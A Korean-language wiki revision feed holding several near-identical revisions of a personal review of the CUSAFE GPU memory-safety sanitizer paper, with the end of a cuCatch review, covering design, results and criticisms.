우선 논문을 읽기가 너무 힘들었다. Implementation이 Convention과는 다르게 Design이 나왔으며, 불필요하게 과장된 표현들 + 필요 없는 정의들이 논문을 따라가는 흐름을 방해하였다. 특히 논문이 Top-down방식이 아니라 Bottom-up방식으로 쓰여진 부분들도 많았으며, 뒤를 읽어야 앞을 이해할 수 있는 표현들도 많아서 Writing quality가 조금 떨어지는 느낌이 들었다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
이 연구는 GPU memory safety debugging을 &amp;quot;CPU sanitizer를 GPU에 포팅하는 문제&amp;quot;가 아니라, CUDA memory space와 compiler/runtime boundary에 맞춘 metadata 설계 문제로 보게 만든다. cuCatch는 Shadow TBB, base pointer analysis, backend instrumentation, driver support를 결합해 높은 bug detection coverage와 평균 19% runtime overhead를 동시에 달성할 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
따라서 cuCatch는 GPU memory safety, compiler-based sanitizer, CUDA runtime instrumentation, hardware 없이 가능한 debugging support를 논의할 때 기준점으로 삼기 좋은 논문이다. 다만 custom allocator, binary-only library, unified memory temporal safety, fine-grained intra-object checking까지 포함하는 완전한 보호 체계로 읽어서는 안 된다.&lt;br /&gt;
&lt;br /&gt;
[[분류: ACM PLDI]]&lt;br /&gt;
[[분류: GPU 보안]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CUSAFE:_Capturing_Memory_Corruption_on_NVIDIA_GPUs&amp;diff=7139</id>
		<title>CUSAFE: Capturing Memory Corruption on NVIDIA GPUs</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CUSAFE:_Capturing_Memory_Corruption_on_NVIDIA_GPUs&amp;diff=7139"/>
		<updated>2026-07-02T07:29:15Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=CUSAFE: Capturing Memory Corruption on NVIDIA GPUs&lt;br /&gt;
|author=Hongyi Lu, Fengwei Zhang, Zhenkai Zhang, Shuai Wang, Yanan Guo&lt;br /&gt;
|conference=USENIX Security Symposium&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 [[NVIDIA GPU]]에서 [[Memory corruption]]을 실용적으로 잡기 어려운 이유가 무엇이며, [[Pointer tagging]]과 in-band bounds metadata를 결합한 [[CUDA]] sanitizer로 이를 어떻게 해결할 수 있는지를 다룬다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
CUDA와 OpenACC 생태계는 여전히 C/C++ 기반의 memory-unsafe programming model에 크게 의존한다. 따라서 CPU 프로그램에서 오래 문제가 되었던 out-of-bounds access, use-after-free, double free 같은 메모리 오류가 GPU 프로그램에서도 직접적인 안정성/보안 문제가 된다.&lt;br /&gt;
&lt;br /&gt;
기존 해결책은 두 갈래로 나뉘지만 둘 다 실용성이 부족하다. GPUShield, LMI, GPUArmor 같은 방식은 hardware modification을 요구하고, cuCatch는 NVIDIA proprietary toolchain 수정에 의존한다. 반대로 commodity GPU에서 바로 쓸 수 있는 NVIDIA &#039;&#039;&#039;compute-sanitizer는 논문 평가에서 평균 15배 slowdown&#039;&#039;&#039;을 보일 정도로 비용이 크다. GMOD와 clArmor 같은 canary 기반 방식은 overhead는 작지만 non-linear overflow나 temporal corruption을 충분히 잡지 못한다.&lt;br /&gt;
&lt;br /&gt;
== Importance ==&lt;br /&gt;
이 논문의 중요성은 GPU memory safety 문제를 &amp;quot;탐지 능력 대 배포 가능성&amp;quot;의 tradeoff로 명확히 재정의했다는 점에 있다. 이전 연구는 완전한 탐지를 위해 hardware나 비공개 toolchain을 요구하거나, 배포 가능한 방식 대신 제한적인 bug class만 탐지했다. &#039;&#039;&#039;CUSAFE는 commodity NVIDIA GPU에서 동작한다는 제약을 먼저 고정&#039;&#039;&#039;하고, 그 안에서 metadata 배치와 pointer tagging을 다시 설계한다.&lt;br /&gt;
&lt;br /&gt;
또 하나의 의미는 &#039;&#039;&#039;CPU sanitizer의 단순 이식이 GPU에서는 좋은 답이 아니&#039;&#039;&#039;라는 점을 보여준 것이다. [[AddressSanitizer]]류의 out-of-band shadow memory는 GPU의 높은 thread parallelism에서 metadata lookup 자체가 memory bandwidth와 cache/TLB pressure를 만든다. 이 논문은 sanitizer design을 hardware execution model에 맞춰야 한다는 점을 지적한다.&lt;br /&gt;
&lt;br /&gt;
마지막으로 CUSAFE는 GPU의 [[MMU]], virtual address layout, local/shared/global memory 차이를 sanitizer metadata scheme의 일부로 끌어들인다. 이는 GPU 보안 연구에서 compiler instrumentation, allocator, virtual memory control을 결합한 실용적 design point를 제시한다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
핵심 아이디어는 pointer와 buffer 양쪽에 서로 다른 역할의 metadata를 나누어 저장하는 것이다. Pointer에는 빠르게 해석 가능한 coarse-grained 정보, 즉 2^n alignment size, pointer type, buffer identity를 담고, buffer 시작부에는 exact bounds를 in-band로 저장한다. Dereference 시점에는 pointer tag로 buffer 시작 위치를 복원하고, 그곳의 exact bounds를 읽어 spatial validity와 liveness를 검사한다.&lt;br /&gt;
&lt;br /&gt;
이 설계는 두 문제를 동시에 겨냥한다. 첫째, 2^n alignment tag만 쓰면 padding 내부의 overflow를 놓치지만, in-band exact bounds를 함께 쓰면 정확한 크기 검사가 가능하다. 둘째, out-of-band shadow table을 쓰면 GPU thread들이 각기 다른 metadata address를 읽어 memory transaction이 늘어나지만, in-band metadata는 같은 buffer에 대한 접근에서 broadcast될 수 있다.&lt;br /&gt;
&lt;br /&gt;
Temporal bug는 별도 shadow state를 크게 유지하기보다, freed buffer의 exact bounds를 0으로 지워 기존 spatial check가 실패하게 만든다. 여기에 local memory의 stack reuse와 global memory의 VA reuse로 생기는 metadata confusion을 막기 위해, local pointer에는 stack epoch를, global pointer에는 VA randomization을 identity metadata로 붙인다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
# Hybrid metadata layout: CUSAFE는 pointer와 buffer에 metadata를 분산한다. Pointer 쪽에는 2^n-aligned size, local/global type bit, identity 정보를 넣고, buffer 쪽에는 8-byte exact bounds를 in-band로 저장한다. 이 조합은 tag만으로는 놓치는 padding 내부 overflow를 잡으면서도, shadow memory lookup보다 GPU memory hierarchy에 덜 부담을 준다.&lt;br /&gt;
# Global pointer tagging via GPU MMU: Global memory는 cudaMalloc/cudaFree처럼 CPU side API로 관리되므로, CUSAFE allocator가 GPU page table을 조정해 특정 VA bit를 tag처럼 사용한다. 논문은 global pointer의 bits [46:41]을 alignment tag로 사용한다고 설명한다. 이 방식은 pointer value에 metadata를 넣으면서도 실제 physical page mapping은 유지한다.&lt;br /&gt;
# Local/shared pseudo-pointer tagging: Local/shared memory의 VA는 NVIDIA runtime이 관리하므로 page table 기반 tagging을 직접 적용하기 어렵다. CUSAFE는 compiler instrumentation으로 local/shared pointer에 pseudo tag를 넣고, 실제 dereference 전에는 tag를 제거한다. Local pointer는 bit 47을 type bit로 사용하고 bits [53:48]에 alignment 정보를 둔다.&lt;br /&gt;
# Spatial corruption detection: Dereference 전 CUSAFE는 먼저 pointer arithmetic이 metadata bit를 손상했는지 확인한다. 원래 pointer와 arithmetic 결과를 xor하여 2^n 범위 밖의 high bit 변화가 생기면 pointer를 invalid로 표시한다. 그 다음 alignment tag로 lower bits를 clear해 in-band exact bounds 위치를 찾고, access range가 bounds 안에 있는지 검사한다. 여기서 Naive하게 그냥 Bug reporting하면 False positive의 가능성이 있다고 한다. 따라서 이 부분은 일단 bug가 났음을 marking만 하고, 지나간 다음, 나중에 사용자가 체크할 수 있도록 하였다.&lt;br /&gt;
# Temporal corruption detection: Global buffer는 cudaFree instrumentation이 in-band bounds를 0으로 지우고, double free도 metadata 확인으로 잡는다. Local buffer는 explicit free가 없으므로 function exit에서 metadata를 invalidation한다. 이렇게 하면 dangling pointer dereference는 size 0인 object 접근처럼 처리되어 기존 bounds check에서 실패한다.&lt;br /&gt;
# Metadata confusion 방지: Local memory는 stack frame reuse 때문에 old pointer가 새 local variable의 값을 metadata로 오인할 수 있다. CUSAFE는 thread별 stack depth와 generation으로 구성된 stack epoch를 pointer에 넣어, pointer가 살아 있는 stack frame을 가리키는지 확인한다. Global memory는 freed VA가 재사용되는 문제를 줄이기 위해 allocation size에 따라 bits [40:A]를 randomize한다.&lt;br /&gt;
# Redundant check optimization: CUSAFE는 recurring check, neighboring check, loop-inductive check를 제거한다. 같은 address에 대한 dominating check를 남기고 subordinate check를 삭제하며, 같은 basic block의 같은 base address에서는 min/max offset check만 남긴다. Loop-inductive access는 loop prologue에서 initial/max value만 검사하도록 hoist한다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
성능 평가는 Rodinia, PolyBench-GPU, Tango, LLaMA2-7B, LLaMA3-8B를 포함한 44개 testcase에서 수행되었다. CUSAFE는 평균 runtime overhead 13%를 보였고, LLM throughput은 평균 11% 감소했다. 반면 compute-sanitizer는 평균 15배 slowdown과 LLM throughput 98% 감소를 보였다.&lt;br /&gt;
&lt;br /&gt;
Worst case는 PolyBench의 naive matrix multiplication인 gemm으로, CUSAFE overhead가 83%였다. 논문은 sparse memory access pattern이 cache efficiency를 악화시켰기 때문으로 해석한다. 같은 testcase에서 compute-sanitizer는 153배 overhead를 보여, metadata access pattern이 GPU sanitizer 성능에 큰 영향을 준다는 논문의 설명을 보강한다.&lt;br /&gt;
&lt;br /&gt;
Memory overhead는 CUSAFE의 중요한 강점이다. CUSAFE는 stack epoch용 fixed 16.5 MiB와 allocation당 8-byte in-band size를 사용하며, 평균 memory overhead는 0.3%로 보고된다. cuCatch는 fixed 160 MiB와 scalable 12.5%, LMI는 2^n alignment fragmentation 때문에 평균 23% overhead로 분석된다. LLM benchmark에서는 cuCatch와 LMI가 각각 GiB 단위 overhead를 만들 수 있지만, CUSAFE는 약 16.5 MiB 수준에 머문다.&lt;br /&gt;
&lt;br /&gt;
Optimization 효과도 측정되었다. 세 가지 check optimization은 44개 GPU program에서 평균 19.32%의 check를 제거했고, 평균 실행 시간을 3.5% 줄였으며 LLM throughput은 약 2% 개선했다. lud에서는 shared memory access가 많아 optimization 후 실행 시간이 60% 이상 줄었다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
# &#039;&#039;&#039;GPU Sanitizer&#039;&#039;&#039;에 대한 Motivation이 잘 설명되어 있다.&lt;br /&gt;
# Pointer tagging과 in-band exact bounds를 결합해 GPU의 memory broadcast 특성에 맞는 metadata retrieval 방식을 설계했다.&lt;br /&gt;
# Pointer arithmetic validation, stack epoch tracking, VA randomization을 통해 tag corruption과 temporal metadata confusion 문제를 완화했다.&lt;br /&gt;
# compute-sanitizer, canary 기반 방식, hardware/proprietary-toolchain 기반 연구 사이의 실용적 tradeoff를 정량적으로 비교했다.&lt;br /&gt;
&lt;br /&gt;
== [[Criticisms]] ==&lt;br /&gt;
=== Major Concerns ===&lt;br /&gt;
# Existing system에 대한 Deployment로 cuCatch를 잡는 것은 조금 위험해 보인다. cuCatch가 비록 open source가 아닐 지라도, NVIDA에서 명백히 관리하고 있는 사용할 수 있는 binary임으로, cucatch는 deployment의 타겟이라기에는 조금 애매한 부분이 있다.&lt;br /&gt;
# GPU Sanitizer을 디자인할때 고려하는 상황이 CPU Sanitizer와 어떤 점이 다른지 지적한 부분은 좋았지만, 결국 Solution이 CPU Sanitizer중에서 Multithreading이 중요한 환경에서 좋은 성능을 보였던 방식, 즉 Pointer tagging, 방식이라는 점에서 특별히 Novel한 Approach를 제시하지는 못하였다고 생각한다. 특히 RSan과 매우 유사하며, 논문에서 제시한 RSan과의 차별성은 디자인이나 매커니즘의 근본적인 차이가 아닌, Motivation이 다르단 설명 중심이여서, 납득하기 어려웠다. 개인적으로는, 그러나 RSan과는 유사하여도, GPU Sanitizer연구 초창기의 논문이라는 점에서 의미있기 때문에, 이 공격은 Valid하지만 여전히 가치있는 논문이란 (Motivation이 다르다는) 주장도 설득되는 느낌이다.&lt;br /&gt;
# CuSafe에서 제시한 shadow memory대비 이점은 CuSafe처럼 Pointer Tagging을 사용하기 때문에 Alias pointer를 사용하게 되는 Scheme에만 적용되는 Limitation이다. 즉 Compute Sanitizer처럼 고정된 VA를 사용하는 Location-based sanitizer에는 적용되지 않는 Limitation이다. 따라서 이 문제를 확장시켜서 가져오는 것에는 한계가 있다.&lt;br /&gt;
# Baseline 비교의 일부는 직접 실행이 아니라 논문 설명에 기반한 추정이다. GPUShield, cuCatch, LMI 구현이 공개되어 있지 않아 coverage와 overhead 비교의 재현성이 제한된다.&lt;br /&gt;
# Optimization, Epoch-based stack allocation, Pointer-Tagging모두 Previous work들이 존재한다. (E.g., ASan--, StickTag, RSan). 논문을 Design section에서 Reference걸었으면 보다 이 논문의 어떤 점에서 차별성이 있는지 파악하기 쉬웠을 텐데, Reference를 걸어주어야 한다고 생각한다.&lt;br /&gt;
&lt;br /&gt;
=== Minor Concerns ===&lt;br /&gt;
# Security benchmark는 알려진 bug 설명을 바탕으로 만든 synthetic program 중심이다. PyTorch/TensorFlow 같은 대규모 실제 framework에서 발견된 실제 bug를 end-to-end로 얼마나 잘 잡는지는 별도 검증이 필요하다.&lt;br /&gt;
# Temporal protection은 완전히 결정적이지 않다. Local pointer의 stack generation은 5-bit라 같은 stack depth에서 정확히 32회 호출 뒤 dereference되는 특수 case에서 false negative 가능성이 있고, global VA randomization도 확률적 방어다.&lt;br /&gt;
# 현재 design은 object-level bounds를 추적하므로 struct 내부 field 간 intra-object overflow는 잡지 못한다. Field 단위 object로 확장할 수는 있지만 tracked object 수와 overhead가 커질 수 있다.&lt;br /&gt;
# Sparse memory access가 많은 kernel에서는 overhead가 커질 수 있다. 평균 overhead는 낮지만 gemm의 83% slowdown은 memory access pattern에 민감한 workload에서 CUSAFE가 항상 가볍지는 않다는 점을 보여준다.&lt;br /&gt;
# Figure 15에서 지수값으로 (10^1, 10^2, ...) 가로축 성능 보여주는데, log scale사용하지 말고 위에 over하는 것들은 자르는 방식으로 결과 값을 보여줘야 한다.&lt;br /&gt;
# Figure 15 stale reference다. 논문 어디에서도 인용안되고 있다.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
이 연구는 GPU memory safety를 단순히 CPU sanitizer를 옮기는 문제가 아니라, GPU execution model과 metadata placement를 함께 설계해야 하는 문제로 바라보게 만든다. CUSAFE는 pointer tagging, in-band exact bounds, stack epoch, VA randomization을 결합해 commodity NVIDIA GPU에서 spatial/temporal memory corruption을 높은 coverage와 낮은 평균 overhead로 탐지할 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
[[분류: USENIX Security]]&lt;br /&gt;
[[분류: GPU 보안]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CUSAFE:_Capturing_Memory_Corruption_on_NVIDIA_GPUs&amp;diff=7138</id>
		<title>CUSAFE: Capturing Memory Corruption on NVIDIA GPUs</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CUSAFE:_Capturing_Memory_Corruption_on_NVIDIA_GPUs&amp;diff=7138"/>
		<updated>2026-07-02T07:25:59Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=CUSAFE: Capturing Memory Corruption on NVIDIA GPUs&lt;br /&gt;
|author=Hongyi Lu, Fengwei Zhang, Zhenkai Zhang, Shuai Wang, Yanan Guo&lt;br /&gt;
|conference=USENIX Security Symposium&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 [[NVIDIA GPU]]에서 [[Memory corruption]]을 실용적으로 잡기 어려운 이유가 무엇이며, [[Pointer tagging]]과 in-band bounds metadata를 결합한 [[CUDA]] sanitizer로 이를 어떻게 해결할 수 있는지를 다룬다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
CUDA와 OpenACC 생태계는 여전히 C/C++ 기반의 memory-unsafe programming model에 크게 의존한다. 따라서 CPU 프로그램에서 오래 문제가 되었던 out-of-bounds access, use-after-free, double free 같은 메모리 오류가 GPU 프로그램에서도 직접적인 안정성/보안 문제가 된다.&lt;br /&gt;
&lt;br /&gt;
기존 해결책은 두 갈래로 나뉘지만 둘 다 실용성이 부족하다. GPUShield, LMI, GPUArmor 같은 방식은 hardware modification을 요구하고, cuCatch는 NVIDIA proprietary toolchain 수정에 의존한다. 반대로 commodity GPU에서 바로 쓸 수 있는 NVIDIA &#039;&#039;&#039;compute-sanitizer는 논문 평가에서 평균 15배 slowdown&#039;&#039;&#039;을 보일 정도로 비용이 크다. GMOD와 clArmor 같은 canary 기반 방식은 overhead는 작지만 non-linear overflow나 temporal corruption을 충분히 잡지 못한다.&lt;br /&gt;
&lt;br /&gt;
== Importance ==&lt;br /&gt;
이 논문의 중요성은 GPU memory safety 문제를 &amp;quot;탐지 능력 대 배포 가능성&amp;quot;의 tradeoff로 명확히 재정의했다는 점에 있다. 이전 연구는 완전한 탐지를 위해 hardware나 비공개 toolchain을 요구하거나, 배포 가능한 방식 대신 제한적인 bug class만 탐지했다. &#039;&#039;&#039;CUSAFE는 commodity NVIDIA GPU에서 동작한다는 제약을 먼저 고정&#039;&#039;&#039;하고, 그 안에서 metadata 배치와 pointer tagging을 다시 설계한다.&lt;br /&gt;
&lt;br /&gt;
또 하나의 의미는 &#039;&#039;&#039;CPU sanitizer의 단순 이식이 GPU에서는 좋은 답이 아니&#039;&#039;&#039;라는 점을 보여준 것이다. [[AddressSanitizer]]류의 out-of-band shadow memory는 GPU의 높은 thread parallelism에서 metadata lookup 자체가 memory bandwidth와 cache/TLB pressure를 만든다. 이 논문은 sanitizer design을 hardware execution model에 맞춰야 한다는 점을 지적한다.&lt;br /&gt;
&lt;br /&gt;
마지막으로 CUSAFE는 GPU의 [[MMU]], virtual address layout, local/shared/global memory 차이를 sanitizer metadata scheme의 일부로 끌어들인다. 이는 GPU 보안 연구에서 compiler instrumentation, allocator, virtual memory control을 결합한 실용적 design point를 제시한다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
핵심 아이디어는 pointer와 buffer 양쪽에 서로 다른 역할의 metadata를 나누어 저장하는 것이다. Pointer에는 빠르게 해석 가능한 coarse-grained 정보, 즉 2^n alignment size, pointer type, buffer identity를 담고, buffer 시작부에는 exact bounds를 in-band로 저장한다. Dereference 시점에는 pointer tag로 buffer 시작 위치를 복원하고, 그곳의 exact bounds를 읽어 spatial validity와 liveness를 검사한다.&lt;br /&gt;
&lt;br /&gt;
이 설계는 두 문제를 동시에 겨냥한다. 첫째, 2^n alignment tag만 쓰면 padding 내부의 overflow를 놓치지만, in-band exact bounds를 함께 쓰면 정확한 크기 검사가 가능하다. 둘째, out-of-band shadow table을 쓰면 GPU thread들이 각기 다른 metadata address를 읽어 memory transaction이 늘어나지만, in-band metadata는 같은 buffer에 대한 접근에서 broadcast될 수 있다.&lt;br /&gt;
&lt;br /&gt;
Temporal bug는 별도 shadow state를 크게 유지하기보다, freed buffer의 exact bounds를 0으로 지워 기존 spatial check가 실패하게 만든다. 여기에 local memory의 stack reuse와 global memory의 VA reuse로 생기는 metadata confusion을 막기 위해, local pointer에는 stack epoch를, global pointer에는 VA randomization을 identity metadata로 붙인다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
# Hybrid metadata layout: CUSAFE는 pointer와 buffer에 metadata를 분산한다. Pointer 쪽에는 2^n-aligned size, local/global type bit, identity 정보를 넣고, buffer 쪽에는 8-byte exact bounds를 in-band로 저장한다. 이 조합은 tag만으로는 놓치는 padding 내부 overflow를 잡으면서도, shadow memory lookup보다 GPU memory hierarchy에 덜 부담을 준다.&lt;br /&gt;
# Global pointer tagging via GPU MMU: Global memory는 cudaMalloc/cudaFree처럼 CPU side API로 관리되므로, CUSAFE allocator가 GPU page table을 조정해 특정 VA bit를 tag처럼 사용한다. 논문은 global pointer의 bits [46:41]을 alignment tag로 사용한다고 설명한다. 이 방식은 pointer value에 metadata를 넣으면서도 실제 physical page mapping은 유지한다.&lt;br /&gt;
# Local/shared pseudo-pointer tagging: Local/shared memory의 VA는 NVIDIA runtime이 관리하므로 page table 기반 tagging을 직접 적용하기 어렵다. CUSAFE는 compiler instrumentation으로 local/shared pointer에 pseudo tag를 넣고, 실제 dereference 전에는 tag를 제거한다. Local pointer는 bit 47을 type bit로 사용하고 bits [53:48]에 alignment 정보를 둔다.&lt;br /&gt;
# Spatial corruption detection: Dereference 전 CUSAFE는 먼저 pointer arithmetic이 metadata bit를 손상했는지 확인한다. 원래 pointer와 arithmetic 결과를 xor하여 2^n 범위 밖의 high bit 변화가 생기면 pointer를 invalid로 표시한다. 그 다음 alignment tag로 lower bits를 clear해 in-band exact bounds 위치를 찾고, access range가 bounds 안에 있는지 검사한다. 여기서 Naive하게 그냥 Bug reporting하면 False positive의 가능성이 있다고 한다. 따라서 이 부분은 일단 bug가 났음을 marking만 하고, 지나간 다음, 나중에 사용자가 체크할 수 있도록 하였다.&lt;br /&gt;
# Temporal corruption detection: Global buffer는 cudaFree instrumentation이 in-band bounds를 0으로 지우고, double free도 metadata 확인으로 잡는다. Local buffer는 explicit free가 없으므로 function exit에서 metadata를 invalidation한다. 이렇게 하면 dangling pointer dereference는 size 0인 object 접근처럼 처리되어 기존 bounds check에서 실패한다.&lt;br /&gt;
# Metadata confusion 방지: Local memory는 stack frame reuse 때문에 old pointer가 새 local variable의 값을 metadata로 오인할 수 있다. CUSAFE는 thread별 stack depth와 generation으로 구성된 stack epoch를 pointer에 넣어, pointer가 살아 있는 stack frame을 가리키는지 확인한다. Global memory는 freed VA가 재사용되는 문제를 줄이기 위해 allocation size에 따라 bits [40:A]를 randomize한다.&lt;br /&gt;
# Redundant check optimization: CUSAFE는 recurring check, neighboring check, loop-inductive check를 제거한다. 같은 address에 대한 dominating check를 남기고 subordinate check를 삭제하며, 같은 basic block의 같은 base address에서는 min/max offset check만 남긴다. Loop-inductive access는 loop prologue에서 initial/max value만 검사하도록 hoist한다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
성능 평가는 Rodinia, PolyBench-GPU, Tango, LLaMA2-7B, LLaMA3-8B를 포함한 44개 testcase에서 수행되었다. CUSAFE는 평균 runtime overhead 13%를 보였고, LLM throughput은 평균 11% 감소했다. 반면 compute-sanitizer는 평균 15배 slowdown과 LLM throughput 98% 감소를 보였다.&lt;br /&gt;
&lt;br /&gt;
Worst case는 PolyBench의 naive matrix multiplication인 gemm으로, CUSAFE overhead가 83%였다. 논문은 sparse memory access pattern이 cache efficiency를 악화시켰기 때문으로 해석한다. 같은 testcase에서 compute-sanitizer는 153배 overhead를 보여, metadata access pattern이 GPU sanitizer 성능에 큰 영향을 준다는 논문의 설명을 보강한다.&lt;br /&gt;
&lt;br /&gt;
Memory overhead는 CUSAFE의 중요한 강점이다. CUSAFE는 stack epoch용 fixed 16.5 MiB와 allocation당 8-byte in-band size를 사용하며, 평균 memory overhead는 0.3%로 보고된다. cuCatch는 fixed 160 MiB와 scalable 12.5%, LMI는 2^n alignment fragmentation 때문에 평균 23% overhead로 분석된다. LLM benchmark에서는 cuCatch와 LMI가 각각 GiB 단위 overhead를 만들 수 있지만, CUSAFE는 약 16.5 MiB 수준에 머문다.&lt;br /&gt;
&lt;br /&gt;
Optimization 효과도 측정되었다. 세 가지 check optimization은 44개 GPU program에서 평균 19.32%의 check를 제거했고, 평균 실행 시간을 3.5% 줄였으며 LLM throughput은 약 2% 개선했다. lud에서는 shared memory access가 많아 optimization 후 실행 시간이 60% 이상 줄었다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
# &#039;&#039;&#039;GPU Sanitizer&#039;&#039;&#039;에 대한 Motivation이 잘 설명되어 있다.&lt;br /&gt;
# Pointer tagging과 in-band exact bounds를 결합해 GPU의 memory broadcast 특성에 맞는 metadata retrieval 방식을 설계했다.&lt;br /&gt;
# Pointer arithmetic validation, stack epoch tracking, VA randomization을 통해 tag corruption과 temporal metadata confusion 문제를 완화했다.&lt;br /&gt;
# compute-sanitizer, canary 기반 방식, hardware/proprietary-toolchain 기반 연구 사이의 실용적 tradeoff를 정량적으로 비교했다.&lt;br /&gt;
&lt;br /&gt;
== [[Criticisms]] ==&lt;br /&gt;
=== Major Concerns ===&lt;br /&gt;
# Existing system에 대한 Deployment로 cuCatch를 잡는 것은 조금 위험해 보인다. cuCatch가 비록 open source가 아닐 지라도, NVIDA에서 명백히 관리하고 있는 사용할 수 있는 binary임으로, cucatch는 deployment의 타겟이라기에는 조금 애매한 부분이 있다.&lt;br /&gt;
# GPU Sanitizer을 디자인할때 고려하는 상황이 CPU Sanitizer와 어떤 점이 다른지 지적한 부분은 좋았지만, 결국 Solution이 CPU Sanitizer중에서 Multithreading이 중요한 환경에서 좋은 성능을 보였던 방식, 즉 Pointer tagging, 방식이라는 점에서 특별히 Novel한 Approach를 제시하지는 못하였다고 생각한다. 특히 RSan과 매우 유사하며, 논문에서 제시한 RSan과의 차별성은 디자인이나 매커니즘의 근본적인 차이가 아닌, Motivation이 다르단 설명 중심이여서, 납득하기 어려웠다. 개인적으로는, 그러나 RSan과는 유사하여도, GPU Sanitizer연구 초창기의 논문이라는 점에서 의미있기 때문에, 이 공격은 Valid하지만 여전히 가치있는 논문이란 (Motivation이 다르다는) 주장도 설득되는 느낌이다.&lt;br /&gt;
# CuSafe에서 제시한 shadow memory대비 이점은 CuSafe처럼 Pointer Tagging을 사용하기 때문에 Alias pointer를 사용하게 되는 Scheme에만 적용되는 Limitation이다. 즉 Compute Sanitizer처럼 고정된 VA를 사용하는 Location-based sanitizer에는 적용되지 않는 Limitation이다. 따라서 이 문제를 확장시켜서 가져오는 것에는 한계가 있다.&lt;br /&gt;
# Baseline 비교의 일부는 직접 실행이 아니라 논문 설명에 기반한 추정이다. GPUShield, cuCatch, LMI 구현이 공개되어 있지 않아 coverage와 overhead 비교의 재현성이 제한된다.&lt;br /&gt;
# Optimization, Epoch-based stack allocation, Pointer-Tagging모두 Previous work들이 존재한다. (E.g., ASan--, StickTag, RSan). 논문을 Design section에서 Reference걸었으면 보다 이 논문의 어떤 점에서 차별성이 있는지 파악하기 쉬웠을 텐데, Reference를 걸어주어야 한다고 생각한다.&lt;br /&gt;
&lt;br /&gt;
=== Minor Concerns ===&lt;br /&gt;
# Security benchmark는 알려진 bug 설명을 바탕으로 만든 synthetic program 중심이다. PyTorch/TensorFlow 같은 대규모 실제 framework에서 발견된 실제 bug를 end-to-end로 얼마나 잘 잡는지는 별도 검증이 필요하다.&lt;br /&gt;
# Temporal protection은 완전히 결정적이지 않다. Local pointer의 stack generation은 5-bit라 같은 stack depth에서 정확히 32회 호출 뒤 dereference되는 특수 case에서 false negative 가능성이 있고, global VA randomization도 확률적 방어다.&lt;br /&gt;
# 현재 design은 object-level bounds를 추적하므로 struct 내부 field 간 intra-object overflow는 잡지 못한다. Field 단위 object로 확장할 수는 있지만 tracked object 수와 overhead가 커질 수 있다.&lt;br /&gt;
# Sparse memory access가 많은 kernel에서는 overhead가 커질 수 있다. 평균 overhead는 낮지만 gemm의 83% slowdown은 memory access pattern에 민감한 workload에서 CUSAFE가 항상 가볍지는 않다는 점을 보여준다.&lt;br /&gt;
# Figure 15에서 지수값으로 (10^1, 10^2, ...) 가로축 성능 보여주는데, log scale사용하지 말고 위에 over하는 것들은 자르는 방식으로 결과 값을 보여줘야 한다.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
이 연구는 GPU memory safety를 단순히 CPU sanitizer를 옮기는 문제가 아니라, GPU execution model과 metadata placement를 함께 설계해야 하는 문제로 바라보게 만든다. CUSAFE는 pointer tagging, in-band exact bounds, stack epoch, VA randomization을 결합해 commodity NVIDIA GPU에서 spatial/temporal memory corruption을 높은 coverage와 낮은 평균 overhead로 탐지할 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
[[분류: USENIX Security]]&lt;br /&gt;
[[분류: GPU 보안]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CUSAFE:_Capturing_Memory_Corruption_on_NVIDIA_GPUs&amp;diff=7137</id>
		<title>CUSAFE: Capturing Memory Corruption on NVIDIA GPUs</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CUSAFE:_Capturing_Memory_Corruption_on_NVIDIA_GPUs&amp;diff=7137"/>
		<updated>2026-07-02T07:22:07Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=CUSAFE: Capturing Memory Corruption on NVIDIA GPUs&lt;br /&gt;
|author=Hongyi Lu, Fengwei Zhang, Zhenkai Zhang, Shuai Wang, Yanan Guo&lt;br /&gt;
|conference=USENIX Security Symposium&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
